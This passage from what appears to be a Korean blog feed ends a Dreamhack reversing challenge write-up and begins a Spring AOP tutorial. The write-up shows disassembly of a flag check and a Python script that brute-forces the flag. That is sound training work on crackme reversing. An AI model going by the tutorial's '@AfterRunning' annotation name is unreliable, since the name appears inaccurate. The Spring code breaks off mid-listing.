</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">6</span><span class="n">A16C1015</span> <span class="o">|</span> <span class="n">FFC0</span>                     <span class="o">|</span> <span class="n">inc</span> <span class="n">eax</span>                                 <span class="o">|</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">6</span><span class="n">A16C1017</span> <span class="o">|</span> <span class="mi">890424</span>                   <span class="o">|</span> <span class="n">mov</span> <span class="n">dword</span> <span class="n">ptr</span> <span class="nl">ss</span><span class="p">:[</span><span class="n">rsp</span><span class="p">],</span><span class="n">eax</span>              <span class="o">|</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">6</span><span class="n">A16C101A</span> <span class="o">|</span> <span class="mi">48</span><span class="o">:</span><span class="mi">630424</span>                <span class="o">|</span> <span class="n">movsxd</span> <span class="n">rax</span><span class="p">,</span><span class="n">dword</span> <span class="n">ptr</span> <span class="nl">ss</span><span class="p">:[</span><span class="n">rsp</span><span class="p">]</span>           <span class="o">|</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">6</span><span class="n">A16C101E</span> <span class="o">|</span> <span class="mi">48</span><span class="o">:</span><span class="mf">83F</span><span class="mi">8</span> <span class="mi">18</span>               <span class="o">|</span> <span class="n">cmp</span> <span class="n">rax</span><span class="p">,</span><span class="mi">18</span>                              <span class="o">|</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">6</span><span class="n">A16C1022</span> <span class="o">|</span> <span class="mi">73</span> <span class="mi">39</span>                    <span class="o">|</span> <span class="n">jae</span> <span class="n">chall5</span><span class="mf">.7F</span><span class="n">F6A16C105D</span>                 <span class="o">|</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">6</span><span class="n">A16C1024</span> <span class="o">|</span> <span class="mi">48</span><span class="o">:</span><span class="mi">630424</span>                <span class="o">|</span> <span class="n">movsxd</span> <span class="n">rax</span><span class="p">,</span><span class="n">dword</span> <span class="n">ptr</span> <span class="nl">ss</span><span class="p">:[</span><span class="n">rsp</span><span class="p">]</span>           <span class="o">|</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">6</span><span class="n">A16C1028</span> <span class="o">|</span> <span class="mi">48</span><span class="o">:</span><span class="mi">8</span><span class="n">B4C24</span> <span class="mi">20</span>             <span class="o">|</span> <span class="n">mov</span> <span class="n">rcx</span><span class="p">,</span><span class="n">qword</span> <span class="n">ptr</span> <span class="nl">ss</span><span class="p">:[</span><span class="n">rsp</span><span class="o">+</span><span class="mi">20</span><span class="p">]</span>           <span class="o">|</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">6</span><span class="n">A16C102D</span> <span class="o">|</span> <span class="mf">0F</span><span class="n">B60401</span>                 <span class="o">|</span> <span class="n">movzx</span> <span class="n">eax</span><span class="p">,</span><span class="n">byte</span> <span class="n">ptr</span> <span class="nl">ds</span><span class="p">:[</span><span class="n">rcx</span><span class="o">+</span><span class="n">rax</span><span class="p">]</span>         <span class="o">|</span> <span class="n">rcx</span><span class="o">+</span><span class="n">rax</span><span class="o">*</span><span class="mi">1</span><span class="o">:</span><span class="s">&#34;AAAA&#34;</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">6</span><span class="n">A16C1031</span> <span class="o">|</span> <span class="mi">8</span><span class="n">B0C24</span>                   <span class="o">|</span> <span class="n">mov</span> <span class="n">ecx</span><span class="p">,</span><span class="n">dword</span> <span class="n">ptr</span> <span class="nl">ss</span><span class="p">:[</span><span class="n">rsp</span><span class="p">]</span>              <span class="o">|</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">6</span><span class="n">A16C1034</span> <span class="o">|</span> <span class="n">FFC1</span>                     <span class="o">|</span> <span class="n">inc</span> <span class="n">ecx</span>                                 <span class="o">|</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">6</span><span class="n">A16C1036</span> <span class="o">|</span> <span class="mi">48</span><span class="o">:</span><span class="mi">63</span><span class="n">C9</span>                  <span class="o">|</span> <span class="n">movsxd</span> <span class="n">rcx</span><span class="p">,</span><span class="n">ecx</span>                          <span class="o">|</span> <span class="nl">rcx</span><span class="p">:</span><span class="s">&#34;AAAAA&#34;</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">6</span><span class="n">A16C1039</span> <span class="o">|</span> <span class="mi">48</span><span class="o">:</span><span class="mi">8</span><span class="n">B5424</span> <span class="mi">20</span>             <span class="o">|</span> <span class="n">mov</span> <span class="n">rdx</span><span class="p">,</span><span class="n">qword</span> <span class="n">ptr</span> <span class="nl">ss</span><span class="p">:[</span><span class="n">rsp</span><span class="o">+</span><span class="mi">20</span><span class="p">]</span>           <span class="o">|</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">6</span><span class="n">A16C103E</span> <span class="o">|</span> <span class="mf">0F</span><span class="n">B60C0A</span>                 <span class="o">|</span> <span class="n">movzx</span> <span class="n">ecx</span><span class="p">,</span><span class="n">byte</span> <span class="n">ptr</span> <span class="nl">ds</span><span class="p">:[</span><span class="n">rdx</span><span class="o">+</span><span class="n">rcx</span><span class="p">]</span>         <span class="o">|</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">6</span><span class="n">A16C1042</span> <span class="o">|</span> <span class="mo">03</span><span class="n">C1</span>                     <span class="o">|</span> <span class="n">add</span> <span class="n">eax</span><span class="p">,</span><span class="n">ecx</span>                             <span class="o">|</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">6</span><span class="n">A16C1044</span> <span class="o">|</span> <span class="mi">48</span><span class="o">:</span><span class="mi">630</span><span class="n">C24</span>                <span class="o">|</span> <span class="n">movsxd</span> <span class="n">rcx</span><span class="p">,</span><span class="n">dword</span> <span class="n">ptr</span> <span class="nl">ss</span><span class="p">:[</span><span class="n">rsp</span><span class="p">]</span>           <span class="o">|</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">6</span><span class="n">A16C1048</span> <span class="o">|</span> <span class="mi">48</span><span class="o">:</span><span class="mi">8</span><span class="n">D15</span> <span class="n">B11F0000</span>         <span class="o">|</span> <span class="n">lea</span> <span class="n">rdx</span><span class="p">,</span><span class="n">qword</span> <span class="n">ptr</span> <span class="nl">ds</span><span class="p">:[</span><span class="mf">7FF</span><span class="mi">6</span><span class="n">A16C3000</span><span class="p">]</span>     <span class="o">|</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">6</span><span class="n">A16C104F</span> <span class="o">|</span> <span class="mf">0F</span><span class="n">B60C0A</span>                 <span class="o">|</span> <span class="n">movzx</span> <span class="n">ecx</span><span class="p">,</span><span class="n">byte</span> <span class="n">ptr</span> <span class="nl">ds</span><span class="p">:[</span><span class="n">rdx</span><span class="o">+</span><span class="n">rcx</span><span class="p">]</span>         <span class="o">|</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">6</span><span class="n">A16C1053</span> <span class="o">|</span> <span class="mi">3</span><span class="n">BC1</span>                     <span class="o">|</span> <span class="n">cmp</span> <span class="n">eax</span><span class="p">,</span><span class="n">ecx</span>                             <span class="o">|</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">6</span><span class="n">A16C1055</span> <span class="o">|</span> <span class="mi">74</span> <span class="mo">04</span>                    <span class="o">|</span> <span class="n">je</span> <span class="n">chall5</span><span class="mf">.7F</span><span class="n">F6A16C105B</span>                  <span class="o">|</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">6</span><span class="n">A16C1057</span> <span class="o">|</span> <span class="mi">33</span><span class="n">C0</span>                     <span class="o">|</span> <span class="n">xor</span> <span class="n">eax</span><span class="p">,</span><span class="n">eax</span>                             <span class="o">|</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">6</span><span class="n">A16C1059</span> <span class="o">|</span> <span class="n">EB</span> <span class="mo">07</span>                    <span class="o">|</span> <span class="n">jmp</span> <span class="n">chall5</span><span class="mf">.7F</span><span class="n">F6A16C1062</span>                 <span class="o">|</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">6</span><span class="n">A16C105B</span> <span class="o">|</span> <span class="n">EB</span> <span class="n">B5</span>                    <span class="o">|</span> <span class="n">jmp</span> <span class="n">chall5</span><span class="mf">.7F</span><span class="n">F6A16C1012</span>                 <span class="o">|</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">6</span><span class="n">A16C105D</span> <span class="o">|</span> <span class="n">B8</span> <span class="mo">01000000</span>              <span class="o">|</span> <span class="n">mov</span> <span class="n">eax</span><span class="p">,</span><span class="mi">1</span>                               <span class="o">|</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">6</span><span class="n">A16C1062</span> <span class="o">|</span> <span class="mi">48</span><span class="o">:</span><span class="mi">83</span><span class="n">C4</span> <span class="mi">18</span>               <span class="o">|</span> <span class="n">add</span> <span class="n">rsp</span><span class="p">,</span><span class="mi">18</span>                              <span class="o">|</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">6</span><span class="n">A16C1066</span> <span class="o">|</span> <span class="n">C3</span>                       <span class="o">|</span> <span class="n">ret</span>                                     <span class="o">|</span>
</span></span></code></pre></div><p>00007FF6A16C1039 부터 00007FF6A16C1053 부분이 주요 부분이고 이 부분을 분석해보면 첫번째 사이클에서 입력받은 첫번째 문자열의 아스키코드 값과 두번째 아스키코드 값을 서로 더하여 7FF6A16C3000에 위치하는 hex값과 비교하는 절차를 가지고 있다.</p>
<p>이걸 분석 해보면 다양한 경우의 수가 나올것 같다. 우선 수기로 검증을 해보고 파이선 코드를 작성해 A부터 Z까지 넣었을 경우의 경우의 수를 전부 출력했다.</p>
<p>코드는 다음과 같다.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">a</span> <span class="o">=</span> <span class="p">[</span><span class="mh">0xAD</span><span class="p">,</span> <span class="mh">0xD8</span><span class="p">,</span> <span class="mh">0xCB</span><span class="p">,</span> <span class="mh">0xCB</span><span class="p">,</span> <span class="mh">0x9D</span><span class="p">,</span> <span class="mh">0x97</span><span class="p">,</span> <span class="mh">0xCB</span><span class="p">,</span> <span class="mh">0xC4</span><span class="p">,</span> <span class="mh">0x92</span><span class="p">,</span> <span class="mh">0xA1</span><span class="p">,</span> <span class="mh">0xD2</span><span class="p">,</span> <span class="mh">0xD7</span><span class="p">,</span> <span class="mh">0xD2</span><span class="p">,</span> <span class="mh">0xD6</span><span class="p">,</span> <span class="mh">0xA8</span><span class="p">,</span> <span class="mh">0xA5</span><span class="p">,</span> <span class="mh">0xDC</span><span class="p">,</span> <span class="mh">0xC7</span><span class="p">,</span> <span class="mh">0xAD</span><span class="p">,</span> <span class="mh">0xA3</span><span class="p">,</span> <span class="mh">0xA1</span><span class="p">,</span> <span class="mh">0x98</span><span class="p">,</span> <span class="mh">0x4C</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="n">start</span> <span class="o">=</span> <span class="mh">0x00</span>
</span></span><span class="line"><span class="cl"><span class="n">temp</span> <span class="o">=</span> <span class="mh">0x00</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">b</span> <span class="o">=</span> <span class="mh">0x41</span>
</span></span><span class="line"><span class="cl"><span class="k">while</span><span class="p">(</span><span class="n">b</span><span class="o">&lt;</span><span class="mh">0x5b</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">        <span class="n">start</span> <span class="o">=</span> <span class="n">b</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;start : &#34;</span><span class="o">+</span><span class="nb">chr</span><span class="p">(</span><span class="n">b</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">        <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="n">a</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">                <span class="n">temp</span> <span class="o">=</span> <span class="n">i</span> <span class="o">-</span> <span class="n">start</span>
</span></span><span class="line"><span class="cl">                <span class="nb">print</span> <span class="p">(</span><span class="nb">chr</span><span class="p">(</span><span class="n">start</span><span class="p">),</span> <span class="n">end</span><span class="o">=</span><span class="s1">&#39;&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">                <span class="n">start</span> <span class="o">=</span> <span class="n">temp</span>
</span></span><span class="line"><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;</span><span class="se">\n\n</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="n">b</span> <span class="o">=</span> <span class="n">b</span><span class="o">+</span><span class="mi">1</span>
</span></span></code></pre></div><p>위 코드는 [목표값 = 첫번째 값 + 두번째 값] 와 [두번째 값 = 목표값 - 첫번째 값] 이 동일하다는 간단한 식으로 작성하였다. 변수 a는 7FF6A16C3000에 들어있는 목표값 들이고 시작 아스키 코드를 A에 해당하는 hex 0x41로 주어 반복문을 돌렸다.</p>
<p>이후 결과는 다음과 같다.</p>
<center><img src="/img/dreamhack-reb-basic-5/result.png" width="80%" height="80%"></center>
<p>딱 보면 정답같아 보이는 부분이 있다.
A로 시작하는 부분이 플레그 값이다.</p>
]]></content:encoded></item><item><title>Spring Framework AOP(Aspect Oriented Programming)이란?</title><link>https://dig06161.github.io/2022/04/06/Spring-AOP/</link><pubDate>Wed, 06 Apr 2022 16:30:00 +0900</pubDate><guid>https://dig06161.github.io/2022/04/06/Spring-AOP/</guid><description>&lt;p>스프링은 코드의 반복 사용을 줄이고 효율적이며 결합도가 낮은 유연한 코드를 작성하길 원한다.&lt;/p>
&lt;p>우리는 코드를 작성할때 크게 중요한 부분은 아니지만 어떤 값을 확인하는 등 여러 부분에서 중복으로 쓰이는 코드가 있을 수 있다. 예를 들면 로그인 세션이 남아 있는지, 또는 어떤 로직에서의 에러에 대한 로그를 핸들링 할때 등등 상황은 매우 다양하다.&lt;/p>
&lt;p>OOP는 코드의 재활용성을 높이고 객체지향을 통해 코드 개발을 더 쉽게, 유지보수하기 편하게 하기 위해 시작되었다. 여기서 더 나아가 Spring에서는 AOP를 통해 비즈니스 로직 상에 중복적이지만 꼭 필요한 코드를 따로 묶어 외부로 분리해 메인 코드에 집중할 수 있게 해주는 기법이다.&lt;/p></description><content:encoded><![CDATA[<p>스프링은 코드의 반복 사용을 줄이고 효율적이며 결합도가 낮은 유연한 코드를 작성하길 원한다.</p>
<p>우리는 코드를 작성할때 크게 중요한 부분은 아니지만 어떤 값을 확인하는 등 여러 부분에서 중복으로 쓰이는 코드가 있을 수 있다. 예를 들면 로그인 세션이 남아 있는지, 또는 어떤 로직에서의 에러에 대한 로그를 핸들링 할때 등등 상황은 매우 다양하다.</p>
<p>OOP는 코드의 재활용성을 높이고 객체지향을 통해 코드 개발을 더 쉽게, 유지보수하기 편하게 하기 위해 시작되었다. 여기서 더 나아가 Spring에서는 AOP를 통해 비즈니스 로직 상에 중복적이지만 꼭 필요한 코드를 따로 묶어 외부로 분리해 메인 코드에 집중할 수 있게 해주는 기법이다.</p>
<p>여기서 AOP는 따로 분리된 Aspect를 모아 모듈화 하는 기법이라고 보면 편할 것이다.</p>
<p><br><br></p>
<h2 id="위빙weaving">위빙(Weaving)</h2>
<p>AOP에서 공통적으로 실행되는 기능을 직접적으로 호출하지 않고 위빙이라는 작업을 통해 호출하게 된다. 이런 위빙을 사용하기 위해서는 공통적으로 쓰이는 코드가 언제, 어디서 적용할 것인지 명시해야 한다. 어디서 적용할 것인지에 대한 설정을 Pointcut이라고 하고, 언제 적용할 것인지에 대해 Advice라 한다. 이 Pointcut과 Advice의 조합을 Aspect라고 한다.</p>
<p><br><br></p>
<p>우선 진행하기 전에 필요한 사전 설정을 마무리 해보자.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-xml" data-lang="xml"><span class="line"><span class="cl">    <span class="nt">&lt;properties&gt;</span>
</span></span><span class="line"><span class="cl">		<span class="nt">&lt;java-version&gt;</span>11<span class="nt">&lt;/java-version&gt;</span>
</span></span><span class="line"><span class="cl">		<span class="nt">&lt;org.springframework-version&gt;</span>5.3.17<span class="nt">&lt;/org.springframework-version&gt;</span>
</span></span><span class="line"><span class="cl">		<span class="nt">&lt;org.aspectj-version&gt;</span>1.9.9.1<span class="nt">&lt;/org.aspectj-version&gt;</span>
</span></span><span class="line"><span class="cl">		<span class="nt">&lt;org.slf4j-version&gt;</span>1.6.6<span class="nt">&lt;/org.slf4j-version&gt;</span>
</span></span><span class="line"><span class="cl">	<span class="nt">&lt;/properties&gt;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="nt">&lt;dependency&gt;</span>
</span></span><span class="line"><span class="cl">			<span class="nt">&lt;groupId&gt;</span>org.aspectj<span class="nt">&lt;/groupId&gt;</span>
</span></span><span class="line"><span class="cl">			<span class="nt">&lt;artifactId&gt;</span>aspectjrt<span class="nt">&lt;/artifactId&gt;</span>
</span></span><span class="line"><span class="cl">			<span class="nt">&lt;version&gt;</span>${org.aspectj-version}<span class="nt">&lt;/version&gt;</span>
</span></span><span class="line"><span class="cl">		<span class="nt">&lt;/dependency&gt;</span>
</span></span><span class="line"><span class="cl">		<span class="nt">&lt;dependency&gt;</span>
</span></span><span class="line"><span class="cl">			<span class="nt">&lt;groupId&gt;</span>org.aspectj<span class="nt">&lt;/groupId&gt;</span>
</span></span><span class="line"><span class="cl">			<span class="nt">&lt;artifactId&gt;</span>aspectjweaver<span class="nt">&lt;/artifactId&gt;</span>
</span></span><span class="line"><span class="cl">			<span class="nt">&lt;version&gt;</span>${org.aspectj-version}<span class="nt">&lt;/version&gt;</span>
</span></span><span class="line"><span class="cl">		<span class="nt">&lt;/dependency&gt;</span>
</span></span></code></pre></div><p>위와 같이 aop사용을 위해 maven버전을 맞춰준다. 이후 servlet-context.xml에 다음과 같은 구문을 추가한다.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-xml" data-lang="xml"><span class="line"><span class="cl">xmlns:aop=&#34;http://www.springframework.org/schema/aop&#34;
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">xsi:schemaLocation 에 http://www.springframework.org/schema/aop http://www.springframework.org/schema/aop/spring-aop-4.3.xsd&#34; 추가
</span></span></code></pre></div><p><br><br></p>
<h2 id="pointcut어디에">Pointcut(어디에)</h2>
<p>어디에 공통관심 코드를 적용할 것인지에 대한 설정을 진행한다. 하나의 @Aspect 안에 여러개의 포인트 컷 설정이 가능하다.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-java" data-lang="java"><span class="line"><span class="cl"><span class="nd">@Pointcut</span><span class="p">(</span><span class="s">&#34;execution(com.test.test..)&#34;</span><span class="p">)</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="kd">private</span><span class="w"> </span><span class="kt">void</span><span class="w"> </span><span class="nf">all</span><span class="p">()</span><span class="w"> </span><span class="p">{}</span><span class="w">
</span></span></span></code></pre></div><p>위와 같이 포인트 컷이 적용될 위치를 지정해 주는데 지시자로 주로 많이 사용하는 excution 타입에 대해 간략하게 적어본다.</p>
<ol>
<li>
<p>리턴타입 지정
말 그대로 지정한 리턴타입에 적용한다.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-java" data-lang="java"><span class="line"><span class="cl"><span class="o">*</span><span class="w">       </span><span class="c1">//모든 리턴타입 혀용</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="kt">void</span><span class="w">    </span><span class="c1">//리턴타입이 void인 메소드</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="o">!</span><span class="kt">void</span><span class="w">   </span><span class="c1">//리턴타입이 void가 아닌 메소드</span><span class="w">
</span></span></span></code></pre></div></li>
<li>
<p>패키지 지정
Aspect 코드를 적용할 패키지를 지정한다.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-java" data-lang="java"><span class="line"><span class="cl"><span class="w"> </span><span class="n">com</span><span class="p">.</span><span class="na">test</span><span class="p">.</span><span class="na">domain</span><span class="w">     </span><span class="c1">//com.test.domain 패키지만 선택</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"> </span><span class="n">com</span><span class="p">.</span><span class="na">test</span><span class="p">.</span><span class="na">domain</span><span class="p">..</span><span class="w">   </span><span class="c1">//com.test.domain으로 시작하는 패키지 선택</span><span class="w">
</span></span></span></code></pre></div></li>
<li>
<p>클래스 지정</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-java" data-lang="java"><span class="line"><span class="cl"><span class="n">userVO</span><span class="w">      </span><span class="c1">//userVO 클래스만 선택</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="o">*</span><span class="n">VO</span><span class="w">         </span><span class="c1">//VO로 끝나는 클래스</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="n">testClass</span><span class="w">   </span><span class="c1">//클래스 이름 뒤에 +가 붙으면 해장 클래스로 부터 파생된 모든 자식 클래스까지 선택, 인터페이스 이름 뒤에 +가 붙으면 해당 인터페이스를 구현한 모든 클래스 선택</span><span class="w">
</span></span></span></code></pre></div></li>
<li>
<p>메소드 지정</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-java" data-lang="java"><span class="line"><span class="cl"><span class="w"> </span><span class="o">*</span><span class="p">(..)</span><span class="w">       </span><span class="c1">//모든 메소드 선택</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"> </span><span class="n">update</span><span class="p">(..)</span><span class="w"> </span><span class="c1">//메소드명이 update로 시작하는 모든 메소드</span><span class="w">
</span></span></span></code></pre></div></li>
</ol>
<p>조금 다르게 응용하자면 Advice어노테이션에 적용도 가능하다
예를 들면 @Around(value=&ldquo;execution(* com.test.test.<em>.</em>(..))&rdquo;) 형식이다.</p>
<p><br><br></p>
<h2 id="5가지의-advice언제">5가지의 Advice(언제)</h2>
<p>Advice는 다섯가지 상황으로 적용할 수 있다. 각각 어노테이션으로 적용이 가능하며 그 목록은 다음과 같다.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-java" data-lang="java"><span class="line"><span class="cl"><span class="nd">@Before</span><span class="w">             </span><span class="c1">//메서드 실행 전</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="nd">@After</span><span class="w">              </span><span class="c1">//메서드 실행 후</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="nd">@AfterRunning</span><span class="w">       </span><span class="c1">//실행 뒤 반환 후</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="nd">@AfterThrowing</span><span class="w">      </span><span class="c1">//예외가 던져지는 시점</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="nd">@Around</span><span class="w">             </span><span class="c1">//메서드 호출 전</span><span class="w">
</span></span></span></code></pre></div><p>Advice를 작성할떄 반드시 하나 이상의 Pointcut을 명시해야 한다.</p>
<p>여기서 당면한 상황에 맞게 사용하면 될것 같다. 기본적인 예를 들어보면 다음과 같은 코드로 사용이 가능하다.</p>
<h3 id="aoptestaspect">AopTestAspect</h3>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-java" data-lang="java"><span class="line"><span class="cl"><span class="nd">@Component</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="nd">@Aspect</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="kd">public</span><span class="w"> </span><span class="kd">class</span> <span class="nc">AopTestAspect</span><span class="w"> </span><span class="p">{</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">	
</span></span></span><span class="line"><span class="cl"><span class="w">	</span><span class="n">Logger</span><span class="w"> </span><span class="n">logger</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">LoggerFactory</span><span class="p">.</span><span class="na">getLogger</span><span class="p">(</span><span class="n">AopTestAspect</span><span class="p">.</span><span class="na">class</span><span class="p">);</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">	
</span></span></span><span class="line"><span class="cl"><span class="w">	</span><span class="nd">@Around</span><span class="p">(</span><span class="s">&#34;all()&#34;</span><span class="p">)</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">	</span><span class="kd">public</span><span class="w"> </span><span class="n">Object</span><span class="w"> </span><span class="nf">AopTest</span><span class="p">(</span><span class="n">ProceedingJoinPoint</span><span class="w"> </span><span class="n">joinPoint</span><span class="p">)</span><span class="w"> </span><span class="kd">throws</span><span class="w"> </span><span class="n">Throwable</span><span class="p">{</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">		
</span></span></span><span class="line"><span class="cl"><span class="w">		</span><span class="n">Date</span><span class="w"> </span><span class="n">date</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="k">new</span><span class="w"> </span><span class="n">Date</span><span class="p">();</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">		</span><span class="n">date</span><span class="p">.</span><span class="na">getTime</span><span class="p">();</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">		</span><span class="n">Object</span><span class="w"> </span><span class="n">ret</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">joinPoint</span><span class="p">.</span><span class="na">proceed</span><span class="p">();</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">		</span><span class="n">logger</span><span class="p">.</span><span class="na">info</span><span class="p">(</span><span class="s">&#34;AOP start - &#34;</span><span class="o">+</span><span class="n">date</span><span class="p">.</span><span class="na">toString</span><span class="p">());</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">		
</span></span></span><span class="line"><span class="cl"><span class="w">		</span><span class="k">return</span><span class="w"> </span><span class="n">ret</span><span class="p">;</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">	</span><span class="p">}</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">	
</span></span></span><span class="line"><span class="cl"><span class="w">	</span><span class="nd">@Pointcut</span><span class="p">(</span><span class="s">&#34;@annotation(AopTest)&#34;</span><span class="p">)</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">	</span><span class="kd">private</span><span class="w"> </span><span class="kt">void</span><span class="w"> </span><span class="nf">all</span><span class="p">()</span><span class="w"> </span><span class="p">{}</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="p">}</span><span class="w">
</span></span></span></code></pre></div><h3 id="aoptest">AopTest</h3>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-java" data-lang="java"><span class="line"><span class="cl"><span class="nd">@Target</span><span class="p">(</span><span class="n">ElementType</span><span class="p">.</span><span class="na">METHOD</span><span class="p">)</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="nd">@Retention</span><span class="p">(</span><span class="n">RetentionPolicy</span><span class="p">.</span><span class="na">RUNTIME</span><span class="p">)</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="kd">public</span><span class="w"> </span><span class="nd">@interface</span><span class="w"> </span><span class="n">AopTest</span><span class="w"> </span><span class="p">{}</span><span class="w">
</span></span></span></code></pre></div><h3 id="homecontoller-aop-어노테이션-적용-부분">HomeContoller (AOP 어노테이션 적용 부분)</h3>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-java" data-lang="java"><span class="line"><span class="cl"><span class="w">	</span><span class="nd">@AopTest</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">	</span><span class="nd">@RequestMapping</span><span class="p">(</span><span class="n">value</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">&#34;/aop&#34;</span><span class="p">,</span><span class="w"> </span><span class="n">method</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">RequestMethod</span><span class="p">.</span><span class="na">GET</span><span class="p">)</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">	</span><span class="kd">public</span><span class="w"> </span><span class="n">String</span><span class="w"> </span><span class="nf">aop</span><span class="p">()</span><span class="w"> </span><span class="p">{</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">		
</span></span></span><span class="line"><span class="cl"><span class="w">		</span><span class="n">logger</span><span class="p">.</span><span class="na">info</span><span class="p">(</span><span class="s">&#34;aop controller start&#34;</span><span class="p">);</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">		
</span></span></span><span class="line"><span class="cl"><span class="w">		</span><span class="k">return</span><span class="w"> </span><span class="s">&#34;home&#34;</span><span class="p">;</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">	</span><span class="p">}</span><span class="w">
</span></span></span></code></pre></div><p>여기서 AopTestAspect 부분은 이렇게 사용이 가능하다.</p>
<h3 id="aoptestaspect-1">AopTestAspect</h3>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-java" data-lang="java"><span class="line"><span class="cl"><span class="nd">@Component</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="nd">@Aspect</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="kd">public</span><span class="w"> </span><span class="kd">class</span> <span class="nc">AopTestAspect</span><span class="w"> </span><span class="p">{</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">	
